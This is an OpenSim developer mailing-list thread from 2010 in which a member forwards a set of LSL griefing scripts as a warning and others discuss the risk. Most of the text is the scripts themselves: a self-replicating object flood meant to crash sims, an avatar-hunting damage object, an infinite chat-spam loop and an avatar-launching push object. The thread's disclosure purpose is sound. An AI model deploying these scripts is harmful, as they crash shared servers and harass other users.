I agree, the problem is that if they work they could well attract the Second Life "low lifes" to roaming all of the OpenSim grids!
This is likely inevitable (like Linux malware) but if we can delay the onset for a few years (as in Linux malware) it would be very helpful! Karen On Mon, 2010-11-01 at 15:20 -0700, Michael Cerquoni wrote: > these look like kiddie griefer scripts that pretty much any noob could > make to me. > > > On Mon, Nov 1, 2010 at 3:07 PM, Karen Palen <[email protected]> > wrote: > > I ran across the following on one of the "less reputable" web > sites that I read. Consider it a "heads up" if the scripts > really do what they claim! > > OS GRID CRASHERS AND SPAMMERS A virtual world without > evil.....not on my watch > > These all work if the threat level is set high enough on the > sim > > > vector motion = <0,0,-37>; > integer jumps = 2; > default > { > state_entry() > { > llListen(10,"",llGetOwner(),""); > } > listen( integer channel, string name, key id, string msg) > { > if(msg==".5560") > { > llDie(); > } > } > > touch_start(integer total_number) > { > llDialog(llDetectedKey(0),"Jezebel's black sun shines upon you > ",["YAY!!!"],5560); > llSetAlpha(0.0,ALL_SIDES); > llSetStatus(STATUS_PHANTOM,TRUE); > integer m; > vector local = llGetLocalPos(); > for(m=0;m<jumps;m++) > { > llSetPos(local+m*motion); > } > llSetTimerEvent(0.1); > } > timer() > { > llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR, > ZERO_ROTATION,42); > > } > } > > -------------------------------------------------------------------- > > float movespeed = 0.1; //because lower is faster > > //Set how often to track avatars > float tick = 0.1; > > default > { > state_entry() > { > vector pos = llGetPos(); > llSetStatus(STATUS_PHYSICS, TRUE); > llSetDamage(100.0); > llSleep(0.1); > llMoveToTarget(pos,0.1); > llSensorRepeat("","",AGENT,200000,7000*PI,tick); > } > sensor(integer total_number) > { > vector pos = llDetectedPos(0); > vector offset =<-0,0,0>; > pos+=offset; > if (llDetectedOwner(0) == llGetOwner()) > { > } > else > { > llMoveToTarget(pos,movespeed); > llLookAt(pos,2,1); > } > } > } > ------------------------------------------------------------------ > > default > { > state_entry() > { > llSay(0, "Here is a fork and knife your gonna need it"); > } > > collision_start(integer total_number) > { > while(1) > { > llSay(0, "Press Alt-F4 to abuse report griefers, welcome to os > grid:) "); > > } > } > } > --------------------------------------------------------------- > take the verticle tour > --------------------------------------------------------------- > default > { > state_entry ( ) > { > llListen ( 0, "", NULL_KEY, "0/1" ); > llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 ); > } > > listen ( integer Channel, string Name, key UUID, string > Message ) > { > state Off; > } > > sensor ( integer Number ) > { > vector Direction = llVecNorm ( llDetectedPos ( 0 ) - llGetPos > ( ) ); > float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( ) ) > * llPow ( llVecDist ( llGetPos ( ) , llDetectedPos ( 0 ) ), > 3 ); > llPushObject(llDetectedKey(0), <0,0,llPow(3.402823466,38)>, > ZERO_VECTOR, FALSE ); > > } > } > > state Off > { > state_entry ( ) > { > llListen ( 0, "", NULL_KEY, "0/1" ); > } > > listen ( integer Channel, string Name, key UUID, string > Message ) > { > state default; > } > } > ______________________________________________________________ > > I am the devil and i'm here to do the devils work > > > > > _______________________________________________ > Opensim-dev mailing list > [email protected] > https://lists.berlios.de/mailman/listinfo/opensim-dev > > > > > > -- > Michael Emory Cerquoni - Nebadon Izumi @ http://osgrid.org > > _______________________________________________ > Opensim-dev mailing list > [email protected] > https://lists.berlios.de/mailman/listinfo/opensim-dev
_______________________________________________ Opensim-dev mailing list [email protected] https://lists.berlios.de/mailman/listinfo/opensim-dev
